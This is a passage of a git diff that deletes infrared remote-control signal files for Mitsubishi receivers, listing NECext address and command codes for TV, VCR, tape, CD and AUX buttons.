00 00 00 -command: 88 00 00 00 -# -name: VCRB_2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 88 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 89 00 00 00 -# -name: VCRB_0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 89 00 00 00 -# -name: CH_^_(SCAN_^) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8A 00 00 00 -# -name: VCRB_CHANNEL_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8A 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8B 00 00 00 -# -name: VCRB_CANCEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8B 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8C 00 00 00 -# -name: VCRB_REC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8C 00 00 00 -# -name: ZERO_STOP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8D 00 00 00 -# -name: SLOW_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8E 00 00 00 -# -name: INDEX_SRCH_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8E 00 00 00 -# -name: VCRB_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8E 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 90 00 00 00 -# -name: VCRB_3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 90 00 00 00 -# -name: CH_V_(SCAN_V) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 92 00 00 00 -# -name: VCRB_CHANNEL_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 92 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 94 00 00 00 -# -name: VCRB_STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 94 00 00 00 -# -name: SLOW_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 96 00 00 00 -# -name: INDEX_SRCH_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 96 00 00 00 -# -name: VCRB_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 96 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 98 00 00 00 -# -name: VCRB_4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 98 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9C 00 00 00 -# -name: VCRB_PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A0 00 00 00 -# -name: VCRB_5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A0 00 00 00 -# -name: FF/SRCH_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A4 00 00 00 -# -name: VCRB_FF/FWD_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A4 00 00 00 -# -name: FAST_PLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A5 00 00 00 -# -name: Q.V. -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A5 00 00 00 -# -name: VCRB_SQV/QV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A5 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A7 00 00 00 -# -name: VCRB_INFO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A7 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A8 00 00 00 -# -name: VCRB_6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: A8 00 00 00 -# -name: REW/SRCH_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AC 00 00 00 -# -name: VCRB_REW/REV_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AC 00 00 00 -# -name: OFF-T_OTR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AF 00 00 00 -# -name: VCRB_SLEEP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: AF 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B0 00 00 00 -# -name: VCRB_7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B0 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B4 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B5 00 00 00 -# -name: VCRB_ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B5 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B8 00 00 00 -# -name: VCRB_8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: B8 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: BA 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: BA 00 00 00 -# -name: VCRB_INPUT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: BA 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C0 00 00 00 -# -name: VCRB_VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C0 00 00 00 -# -name: VCRB_ADJUST_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C1 00 00 00 -# -name: VCRB_EXCH_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C9 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D0 00 00 00 -# -name: VCRB_AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D0 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D2 00 00 00 -# -name: VCRB_MENU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D2 00 00 00 -# -name: ADJUST_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: F3 00 00 00 -# -name: ADJUST_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir deleted file mode 100644 index 6828b0bff..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir +++ /dev/null @@ -1,884 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUDIO_1 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 00 00 00 00 -# -name: 1_(CAM) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 00 00 00 00 -# -name: AUDIO_9 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 01 00 00 00 -# -name: 9_(CD) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 01 00 00 00 -# -name: AUDIO_POWER -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 02 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 02 00 00 00 -# -name: AUDIO_2 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 08 00 00 00 -# -name: 2_(DVD) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 08 00 00 00 -# -name: AUDIO_0 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 09 00 00 00 -# -name: AUDIO_SCAN_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 0A 00 00 00 -# -name: VCRA_CH_^_(SCAN_^) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 0A 00 00 00 -# -name: PRESET_SCAN_(INTRO) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 0A 00 00 00 -# -name: AUDIO_CANCEL -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 0B 00 00 00 -# -name: AUDIO_3 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 10 00 00 00 -# -name: 3_(TV) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 10 00 00 00 -# -name: AUDIO_SCAN_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 12 00 00 00 -# -name: VCRA_CH_V_(SCAN_V) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 12 00 00 00 -# -name: AUDIO_4 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 18 00 00 00 -# -name: 4_(VCR) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 18 00 00 00 -# -name: AUDIO_INPUT_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1A 00 00 00 -# -name: VCRA_INPUT_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1A 00 00 00 -# -name: AUDIO_5 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 20 00 00 00 -# -name: 5_(TAPE1) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 22 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 22 00 00 00 -# -name: AUDIO_DISPLAY -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 27 00 00 00 -# -name: AUDIO_6 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 28 00 00 00 -# -name: 6_(TAPE2) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 28 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 2A 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 2A 00 00 00 -# -name: AUDIO_SLOW -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 2B 00 00 00 -# -name: SUR_(PAUSE) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 2B 00 00 00 -# -name: AUDIO_7 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 30 00 00 00 -# -name: 7_(TUNER) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 30 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 32 00 00 00 -# -name: AUDIO_VOL_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 33 00 00 00 -# -name: AUDIO_FS/+ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 33 00 00 00 -# -name: REAR_+_(PLAY) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 33 00 00 00 -# -name: AUDIO_ENTER -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 35 00 00 00 -# -name: AUDIO_8 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 38 00 00 00 -# -name: 8_(AUX) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 38 00 00 00 -# -name: AUDIO_INPUT_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 3A 00 00 00 -# -name: VCRA_INPUT_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 3A 00 00 00 -# -name: AUDIO_VOL_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 3B 00 00 00 -# -name: AUDIO_RS/- -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 3B 00 00 00 -# -name: REAR_-_(STOP) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 3B 00 00 00 -# -name: AUDIO_B -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 3F 00 00 00 -# -name: AUDIO_ADJUST_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 41 00 00 00 -# -name: CH_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 41 00 00 00 -# -name: VCR_B -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 43 00 00 00 -# -name: VCR_B_INPUT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 43 00 00 00 -# -name: VCR_A -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 44 00 00 00 -# -name: VCR_A_INPUT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 44 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 45 00 00 00 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 45 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 46 00 00 00 -# -name: CD_INPUT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 46 00 00 00 -# -name: AUDIO_ADJUST_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 49 00 00 00 -# -name: CH_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 49 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 4B 00 00 00 -# -name: PHONO_INPUT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 4B 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 4C 00 00 00 -# -name: TAPE1/2 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 4D 00 00 00 -# -name: TAPE_1/2_INPUT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 4D 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 4E 00 00 00 -# -name: AUX_INPUT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 4E 00 00 00 -# -name: AUDIO_AUDIO_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 50 00 00 00 -# -name: AUDIO_MENU -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 52 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 56 00 00 00 -# -name: AUDIO_AUDIO_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 58 00 00 00 -# -name: CENTER -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 5C 00 00 00 -# -name: CENTER_+_(FF) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 75 00 00 00 -# -name: DELAY_(REC) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 7B 00 00 00 -# -name: CENTER_-_(REW) -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 7D 00 00 00 -# -name: TAPE1_1 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 80 00 00 00 -# -name: TAPE1_9 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 81 00 00 00 -# -name: TAPE1_MENU -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 82 00 00 00 -# -name: TAPE1_PLAY_> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 84 00 00 00 -# -name: TAPE2_PLAY_> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 85 00 00 00 -# -name: TAPE1_VOL_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 86 00 00 00 -# -name: TAPE1_FS/+ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 86 00 00 00 -# -name: TAPE2_VOL_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 87 00 00 00 -# -name: TAPE2_FS/+ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 87 00 00 00 -# -name: TAPE1_2 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 88 00 00 00 -# -name: TAPE1_0 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 89 00 00 00 -# -name: TAPE1_ENTER -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 8A 00 00 00 -# -name: TAPE1_REC -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 8C 00 00 00 -# -name: TAPE1_VOL_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 8E 00 00 00 -# -name: TAPE1_RS/- -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 8E 00 00 00 -# -name: TAPE2_VOL_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 8F 00 00 00 -# -name: TAPE2_RS/- -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 8F 00 00 00 -# -name: TAPE1_3 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 90 00 00 00 -# -name: TAPE1_CANCEL -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 92 00 00 00 -# -name: TAPE1_STOP_[] -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 94 00 00 00 -# -name: TAPE2_STOP_[] -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 95 00 00 00 -# -name: TAPE1_REPEAT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 97 00 00 00 -# -name: TAPE1_4 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 98 00 00 00 -# -name: TAPE1_PAUSE_ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 9C 00 00 00 -# -name: TAPE2_PAUSE_ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 9D 00 00 00 -# -name: TAPE1_5 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: A0 00 00 00 -# -name: TAPE1_AUDIO_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: A2 00 00 00 -# -name: TAPE1_FF_>> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: A4 00 00 00 -# -name: TAPE2_FF_>> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: A5 00 00 00 -# -name: TAPE1_DISPLAY -type: parsed -protocol: NECext -address: 77 00 00 00 -command: A7 00 00 00 -# -name: TAPE1_6 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: A8 00 00 00 -# -name: TAPE1_AUDIO_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: AA 00 00 00 -# -name: TAPE1_REW_<< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: AC 00 00 00 -# -name: TAPE2_REW_<< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: AD 00 00 00 -# -name: TAPE1_INTRO -type: parsed -protocol: NECext -address: 77 00 00 00 -command: AE 00 00 00 -# -name: TAPE2_INTRO -type: parsed -protocol: NECext -address: 77 00 00 00 -command: AF 00 00 00 -# -name: TAPE1_7 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: B0 00 00 00 -# -name: TAPE1_ADJUST_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: B2 00 00 00 -# -name: TAPE1_R.PLAY_< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: B4 00 00 00 -# -name: TAPE1_PLAY_R._< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: B4 00 00 00 -# -name: TAPE2_R.PLAY_< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: B5 00 00 00 -# -name: TAPE2_PLAY_R._< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: B5 00 00 00 -# -name: TAPE1_8 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: B8 00 00 00 -# -name: TAPE1_ADJUST_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: BA 00 00 00 -# -name: TAPE1_B -type: parsed -protocol: NECext -address: 77 00 00 00 -command: BF 00 00 00 -# -name: CD_1 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: C0 00 00 00 -# -name: CD_9 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: C1 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: C4 00 00 00 -# -name: CD_A -type: parsed -protocol: NECext -address: 77 00 00 00 -command: C7 00 00 00 -# -name: CD_2 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: C8 00 00 00 -# -name: CD_0 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: C9 00 00 00 -# -name: CD_FF_>> -type: parsed -protocol: NECext -address: 77 00 00 00 -command: CA 00 00 00 -# -name: CD_CANCEL -type: parsed -protocol: NECext -address: 77 00 00 00 -command: CB 00 00 00 -# -name: CD_3 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: D0 00 00 00 -# -name: CD_REW_<< -type: parsed -protocol: NECext -address: 77 00 00 00 -command: D2 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: 77 00 00 00 -command: D4 00 00 00 -# -name: CD_REPEAT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: D7 00 00 00 -# -name: CD_4 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: D8 00 00 00 -# -name: CD_DISPLAY -type: parsed -protocol: NECext -address: 77 00 00 00 -command: DB 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: DC 00 00 00 -# -name: CD_5 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: E0 00 00 00 -# -name: CD_FS/+ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: E4 00 00 00 -# -name: CD_B -type: parsed -protocol: NECext -address: 77 00 00 00 -command: E6 00 00 00 -# -name: CD_6 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: E8 00 00 00 -# -name: CD_RS/- -type: parsed -protocol: NECext -address: 77 00 00 00 -command: EC 00 00 00 -# -name: CD_INTRO -type: parsed -protocol: NECext -address: 77 00 00 00 -command: EE 00 00 00 -# -name: CD_7 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: F0 00 00 00 -# -name: CD_ADJUST_^ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: F4 00 00 00 -# -name: CD_ENTER -type: parsed -protocol: NECext -address: 77 00 00 00 -command: F5 00 00 00 -# -name: CD_8 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: F8 00 00 00 -# -name: CD_ADJUST_V -type: parsed -protocol: NECext -address: 77 00 00 00 -command: FC 00 00 00 -# -name: CD_MENU -type: parsed -protocol: NECext -address: 77 00 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir deleted file mode 100644 index dcf9b34bc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUX_0 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 00 00 00 00 -# -name: AUX_1 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 01 00 00 00 -# -name: AUX_2 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 02 00 00 00 -# -name: AUX_3 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 03 00 00 00 -# -name: AUX_4 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 04 00 00 00 -# -name: AUX_5 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 05 00 00 00 -# -name: AUX_6 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 06 00 00 00 -# -name: AUX_7 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 07 00 00 00 -# -name: AUX_8 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 08 00 00 00 -# -name: AUX_9 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 09 00 00 00 -# -name: AUX_FF_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 10 00 00 00 -# -name: AUX_REW_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 11 00 00 00 -# -name: AUX_MENU -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 13 00 00 00 -# -name: AUX_STOP_[] -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 16 00 00 00 -# -name: AUX_PLAY_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 17 00 00 00 -# -name: AUX_PAUSE_ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 18 00 00 00 -# -name: AUX_POWER -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1C 00 00 00 -# -name: AUX_INTRO -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1F 00 00 00 -# -name: AUX_ENTER -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 42 00 00 00 -# -name: AUX_DISPLAY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 43 00 00 00 -# -name: AUX_CANCEL -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 45 00 00 00 -# -name: AUX_REPEAT -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4C 00 00 00 -# -name: AUX_A -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4D 00 00 00 -# -name: AUX_B -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4E 00 00 00 -# -name: AUX_VOL_^ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 52 00 00 00 -# -name: AUX_FS/+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 52 00 00 00 -# -name: AUX_VOL_V -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 53 00 00 00 -# -name: AUX_RS/- -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir deleted file mode 100644 index db6034b68..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 01 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 02 00 00 00 -# -name: TV_CANCEL -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 07 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 09 00 00 00 -# -name: TV_CH_^_(SCAN_^) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: TV_SCAN_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: TV_QV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: TV_CH_V_(SCAN_V) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: TV_SCAN_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: TV_OTR -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: TV_INPUT_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1A 00 00 00 -# -name: TV_DISPLAY -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 20 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: TV_ENTER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 35 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 -# -name: TV_A -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 39 00 00 00 -# -name: TV_INPUT_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: TV_VIDEO_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: TV_ADJUST_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: TV_VIDEO_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 48 00 00 00 -# -name: TV_ADJUST_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: TV_AUDIO_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 50 00 00 00 -# -name: TV_MENU -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 52 00 00 00 -# -name: TV_AUDIO_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir deleted file mode 100644 index b127feca1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir +++ /dev/null @@ -1,488 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCRA_1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 00 00 00 00 -# -name: VCRA_9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 01 00 00 00 -# -name: VCRA_POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 02 00 00 00 -# -name: VCRA_PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: VCRA_2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 08 00 00 00 -# -name: VCRA_0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 09 00 00 00 -# -name: VCRA_CH_^_(SCAN_^) -type: parsed -protocol: NECext -address: 57 